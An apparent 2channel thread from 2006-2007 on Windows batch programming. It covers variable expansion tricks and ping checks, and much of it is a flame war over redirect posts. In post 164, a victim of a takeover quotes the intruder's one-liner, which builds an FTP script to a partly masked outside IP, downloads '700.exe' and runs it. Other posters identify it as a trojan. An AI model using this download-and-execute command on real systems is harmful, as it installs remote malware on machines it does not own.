1 名前:デフォルトの名無しさん [2006/05/25(木) 00:45:55 ] 前スレ バッチファイルプログラミング 2.bat pc8.2ch.net/test/read.cgi/tech/1104911889/ 関連スレ 初心者〜管理者まで必読!コマンドライン(DOS Pt.4) pc8.2ch.net/test/read.cgi/win/1116131036/ MS-DOS・Win3.1総合スレッド pc8.2ch.net/test/read.cgi/win/1025462258/ WSH(・∀・)スレッド! pc8.2ch.net/test/read.cgi/tech/1055075469/ バッチファイルプログラミングとは・・・・ ・ファイル拡張子が ".bat" ・複数のコマンドを使い、実行させるバッチファイルを作る を満たせばOK!
116 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:28:13 ] >>115 さん ありがとうございます。 試してみたのですが、できませんでした。。 結果 %TEST1% となってしまいます。 当方、XPです。
117 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:45:55 ] >>116 %TEST1% という文字列が出力できるなら それを新しいbatに書き込んで実行するだけだからもう一息だね! 互換性を犠牲wにしてもいいなら遅延環境変数の展開を有効にした方が簡単だけどね。 setlocal enabledelayedexpansion echo !TEST%CNT%!
118 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:57:36 ] >>117 さん 中間ファイルを作らずに実行するには setlocalしかないですかね。。?
119 名前:114,116,118 mailto:sage [2006/12/15(金) 01:01:37 ] 一応、中間ファイルを作成して実行できました! できれば中間ファイルを挟まずに実行したいのですが、 setlocal 〜 でうまく出ませんでした。なぜだろう。。
120 名前:114,116,118 mailto:sage [2006/12/15(金) 01:11:39 ] すみません。 echo | echo %test%cnt%% でいけました。 色々と教えてくれた方、ありがとうございます。 お騒がせしました。
121 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 02:08:57 ] call echo %%test%cnt%%%
122 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:26:54 ] パイプの右側はサブプロセスで実行されるので、 echo | set hoge=%%test%cnt%%% とやっても、現プロセスで受け取れませんが、 call set hoge=%%test%cnt%%% ならok
123 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:34:49 ] ここは本スレへ誘導するためのスレです。 ↓↓ ↓本スレはWindows板にあります↓↓ ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
124 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:48:49 ] >>117 >遅延環境変数の展開 →環境変数の遅延展開(delayed expansion)
125 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 15:04:06 ] call :sub echo %%TEST%CNT%%% goto :eof :sub %*
126 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 16:14:57 ] プログラミングじゃなくてOSの仕様の話だな
127 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 18:13:50 ] cmd /c echo %%TEST%CNT%%% お手を煩わせるのはなんなので 123 :デフォルトの名無しさん :2006/12/15(金) 14:34:49 ここは本スレへ誘導するためのスレです。 ↓↓ ↓本スレはWindows板にあります↓↓ ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
128 名前:デフォルトの名無しさん [2006/12/15(金) 20:27:09 ] NGワード:初心者〜管理者まで NGワード2:必読!コマンドライン
129 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 20:36:32 ] 別にお前のNG設定なんて晒さなくてもいいよ 誰も興味ないからw
130 名前:1 mailto:sage [2006/12/15(金) 21:11:20 ] >>127 このスレを立てたものですが、はっきり言って迷惑です ('A`) 1に書いてある趣旨を外れなければ、バッチファイルプログラミングです。 他のスレがよければ、自分だけでそっちに行ってください。
131 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:20:10 ] 本スレあるのに気がつかないとかわいそうだろ
132 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:22:43 ] スレ立てた人も、他の住人も立場的には全く変わらないわけだが。 >>6 でも言われてるでしょ。
133 名前:1 mailto:sage [2006/12/15(金) 21:54:32 ] だから他がよければ他に行けって おまえ一人でさ。 止めはしないよ。
134 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:57:09 ] あれは別に「本」スレじゃないだろ
135 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:00:35 ] バッチ限定でプログラミングだとスレが成り立たない。 実際プログラミングに関係ない話ばっかりだし ここは廃止でいい。
136 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:04:06 ] はいはい
137 名前:1 mailto:sage [2006/12/15(金) 22:05:09 ] >>82-128 よくみてみろ。 関係ない話をしているのは、誘導スレを連続貼りしてるおまえだけだと思うが。 他は、スレの趣旨に則った質問と回答のレスしかないだろ。 他所が良ければ、他所に行っていいよ。 このスレが嫌なら自分でスレを立てればいい。 とにかく迷惑なんだよ。人の迷惑。
138 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:12:44 ] コマンドプロンプトの使い方とか「板違い」だから やりたければよその板でやれ
139 名前:1 mailto:sage [2006/12/15(金) 22:15:40 ] >>138 じゃ、正式に手続き取って削除依頼でも出してくればいい。 このスレは3スレ目だが、2スレ目と1スレ目を立てたのは俺じゃない。 それだけ、需要があるんだよ。 嫌がらせしないで、板違いだとおっしゃるなら、どうぞ削除依頼に 出してください。
140 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:19:03 ] >>138 ここはコマンドプロンプトの使い方でなくてバッチファイルプログラムのスレだろ。
141 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:53:08 ] そもさん ファイルの行数、文字数は如何に? そもさん 環境変数の値のバイト数、文字数は如何に?
142 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:55:10 ] >>141 あんたは禅宗か
143 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 23:00:58 ] あれ、禅問答みたいなことやってると思って、つい。
144 名前:デフォルトの名無しさん [2006/12/16(土) 01:55:18 ] UNIXのshllだったら、以下の様な記述でPING結果による条件分岐が出来たのですが、 バッチだったらどの様に記述したら良いでしょうか? if [ `/usr/sbin/ping $HOST_NAME 2>&1 | /usr/bin/awk '{ print $3 }'` = "alive" ]; then echo "$HOST_NAME is alive" else echo "UNKNOWN HOST $HOST_NAME" fi 何をしたいのかと言えば、サーバにPINGして応答があった場合、 net use \\server1\share1 /user:domain\user01 password01 でサーバに接続して処理する仕組みをバッチファイルに組み込みたいのです。
145 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 05:48:24 ] >>144 for /f "usebackq delims==" %%i in (`%windir%\System32\ping.exe %HOST_NAME% ^| find /c "(100%% loss)"`) do if "%%i"=="0" ( echo %HOST_NAME% is alive ) else ( echo UNKNOWN HOST %HOST_NAME% ) もっといい方法はあるかな
146 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 08:00:22 ] ping結果は、100%% loss だけじゃなくて unknown host とかunreach・・・とかもあるな。
147 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 08:45:15 ] >>144 わざわざそんなことしなくても&&のようなもの(shellによるだろうけど)使えば一発じゃないか? プログラミングを始める前にshellなりコマンドプロンプトの勉強をした方が良いと思われます。
148 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 09:18:51 ] まさかこのスレにshellの能書き垂れる馬鹿がいるとは……
149 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 11:06:29 ] >>144 バッチ初心者はこちらへどうぞ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
150 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 13:53:36 ] >>149 は荒し
151 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 16:08:03 ] >>147 手本を見せてみろ
152 名前:127 mailto:sage [2006/12/17(日) 04:09:53 ] すみません。 無駄に>>123 にスレッドが消費されないように、>>123 を貼り付けたのですが、 かえって、たくさん消費されちゃいましたね。 アイデアとしてはよいと思ったのですが、やっぱ駄目ですかね。
153 名前:デフォルトの名無しさん mailto:sage [2006/12/17(日) 08:23:40 ] >>152 荒らし目的なら兎も角、そうでないなら頭悪すぎだからな。
154 名前:デフォルトの名無しさん [2006/12/19(火) 10:13:24 ] 朝っぱらからスマソがおしえてくれ IEを開くまでできるがその後、 ツール−インターネットオプション→クッキーの削除 するソースがわからん
155 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 10:39:05 ] スレ違い
156 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 11:30:41 ] >>154 自分でプログラムを作らない人はここへ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
157 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 15:10:08 ] >>154 やったことないけど del C:\Documents and Settings\username\Cookies\*.txt は?
158 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 15:49:05 ] >155-156 誘導スマソ ここが適所スレとおもた。 >157 なるほど直接ファイルのあるフォルダを指定して消すやり方もあるんだなぁ キーボード操作でメニューバー動かすbatをおしえてくれろ これで当分は自分でなんとか出来るからおねがいします
159 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:11:34 ] batでは無理 参考 pc8.2ch.net/test/read.cgi/win/1152544955/354-364
160 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:18:25 ] >>158 そういうのはバッチに限定しない方がいいからこっちへ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/ DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、 wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ コマンドラインインタフェースに関するネタならなんでもOK。
161 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:26:55 ] >159-160 知らなかったorz 昨日batを知ったばかりの廚なのでスマソかった
162 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:45:06 ] ちょっとだけスレ使わせていただきまつ 今、パソコン乗っ取られますた!ここの住人か? 初めての経験でつ勉強になりましたが気持ち悪かったです で教えて欲しいですがセキュリティの甘いところはVPNのパスだけでしょうか? それともルーターの設定があまいのかおしえれ
163 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:56:33 ] 昨日もおかしな現象が起こってたんだよな。 ipは晒してないから別の路線から来たと思うけど それとも割れからトロイか?
164 名前:デフォルトの名無しさん mailto:age [2006/12/19(火) 17:06:05 ] VPN経路で、ファイル名指定して実行で cmd.exe /c del i&echo open xxx.xxx.xxx.115 11857 > i&echo user 1 echo get 700.exe >> i &echo quit >> i &ftp -n -s:i &700.ex ここまで書いたおまいだよ!
165 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 17:27:25 ] 本スレはここ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
166 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:05:23 ] 別の板にスレ作っとくからそこへ鯉♪ スレ板名を記入しなくても分かるよな スレッド汚してスマソかった。m(__)m
167 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:06:04 ] >>164 とりあえずdel i は不要だな かなりの確率でトロイだと思われ
168 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:34:43 ] >>161 WSHを聞くなら、こっちが罵倒されないだけ、いいかも。 www.roy.hi-ho.ne.jp/mutaguchi/bbs/index.shtml
169 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:43:51 ] >167 トロイだろうなorz >168 どうもありがとうです 別板にスレ作ったが奴は来ないがルータ初期化してVNC切ったから 細かい事は読み取れないのか?分からなかったらメルアド知ってるだろw そこにメール汁!!!あ、kenziの方な他はあまり見ないから。
170 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 20:43:19 ] >>165 は荒しなので無視してください
171 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 21:48:46 ] バッチの本スレ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
172 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 21:53:06 ] >>171 のスレは「本スレ」ではありません。だまされないように。
173 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:07:28 ] >>172 は嘘です。だまされないように。
174 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:13:25 ] バッチファイルプログラミング 3.bat pc8.2ch.net/test/read.cgi/tech/1148485555/ プログラミング限定 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
175 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:16:55 ] それくらいの熱心さであっちに書き込んだらよいのに。 あっちに書くほどの技術内容がないから、こっちに無内容なこと書くわけ?
176 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:18:33 ] 執拗に同じものを貼る人はある種の病気なんだろうな。
177 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:24:17 ] 病気なら仕方がないか。早く直ってね。 それまで、みんな温かく見守ってあげようよ。 背景輻射、ブラックマターだと思って気にしないこと。 それが一番病人にいいんじゃないの。
178 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:32:17 ] >>175-177 書きたいことは一度に書け。 もしかして他人の書き込みを装ったつもり?
179 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:34:50 ] >>178 2,3人いるんだろ。 病人は早く寝たほうがいいですよ。
180 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:42:19 ] 心にやましいことがなければ、病気だと思う奴のことなんか放置すればいいのに やましいことをしている自覚があるから、反論を書かずにはいられないんですね。
181 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:46:53 ] >>178 本当の意図は何か、はっきり言ったらすっきりするんじゃないか? >>1 が嫌いとか、>>1 にバカにされたことを根に持ってるとか。 引き合いに出して、ごめんね>>1 それくらいのことしか考えられないもんね。
182 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
183 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:54:44 ] 181
184 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:55:01 ] >>180 >心にやましいこと それだよ、それ。想像でいいから、何だと思う?
185 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:01:15 ] ( ̄ー ̄)ニヤリ
186 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:46:08 ] スレ立てから200日以上経過しているのに200レス逝かないスレ、 つまり1日平均1レス以下という勢いのスレで、 殆ど同じ思想の書き込みが、数分間隔で3連投。 同じような思想を持った人が2,3人居るという点は否定しないが 全てsageなので、スレが目立つ位置に上がったわけでもないのに その3人が思想だけではなく文の特徴まで同じくして このタイミングで書き込みってのは、さすがに…( ´_ゝ`)
187 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:51:04 ] >>186 専ブラ使ってれば別に不思議でも何でもないのだが
188 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:54:16 ] 技術的内容のない書き込みは無用に、という程度のことを 思想とまで評価していただき、痛み入ります。 で、 自分のために書き込んでおられるなら、他人への迷惑となるのでお止めください。 他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。
189 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:56:28 ] たった数分の間に、同じ思想と同じ文章癖を持つ3人が 2chブラウザでプログラム板かこのスレが入ったお気に入りグループの更新を実行。 板垣恵介ならシンクロニシティだって言い出しそうだなw > 他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。 「図星を突かれて痛いので、もうやめてください」と解釈しました。
190 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:04:43 ] >>189 どう解釈してもいいけれど、今後は無用な誘導はご遠慮ください。
191 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:06:04 ] type con >nul
192 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:07:13 ] CLS
193 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:09:25 ] このスレはこっちへ移動しました↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
194 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:13:27 ] >>193 はそっちのスレに移動してここに戻ってこないでください。 今後このスレには来ないでください。
195 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:14:40 ] >>191 そのコマンドラインは何を言っても無駄ってことかなw
196 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:20:36 ] >>192 折角、水に流して、と思ったのに。
197 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 10:38:42 ] cls
198 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 10:39:59 ] doskey /history
199 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
200 名前:デフォルトの名無しさん [2006/12/24(日) 16:54:22 ] バッチの質問はこのスレでok
201 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 17:27:14 ] ここは誘導するだけ バッチとはそういうもの
202 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 18:59:14 ] そろそろ通報するか 十分同一コピペになっただろ。
203 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 19:09:53 ] >>202 残念ながらこの程度は全然問題ないよ。 試しに報告してみれば? 自分が過剰に反応してるだけだって思い知れるから。
204 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 19:15:40 ] 了解 ただ今、荒らしのレス番、集計中。 ダメ元で報告してくるよ。
205 名前:デフォルトの名無しさん [2006/12/30(土) 09:46:59 ] age
206 名前:デフォルトの名無しさん [2006/12/30(土) 09:47:54 ] >>200 OK
207 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 13:54:19 ] プログラミング以外はスレ違い バッチの質問はWindows板へ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
208 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 13:57:51 ] >>207 スレ荒らすな
209 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 14:17:37 ] >>208 スレ荒らすな
210 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 17:21:27 ] 2chの冬、厨房の冬。
211 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 17:39:46 ]
212 名前:デフォルトの名無しさん mailto:age [2007/01/03(水) 15:23:09 ] hosyu
213 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 14:55:48 ] スクリプト側で、俺はCScript専用だぜゴルァって言う方法ないでつか?
214 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 15:29:35 ] 新鯖に移転ですー バッチの使い方の質問はWindows板へ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
215 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 18:53:56 ] >>214 は荒らしです
216 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 19:01:18 ] お前も相手にするなよ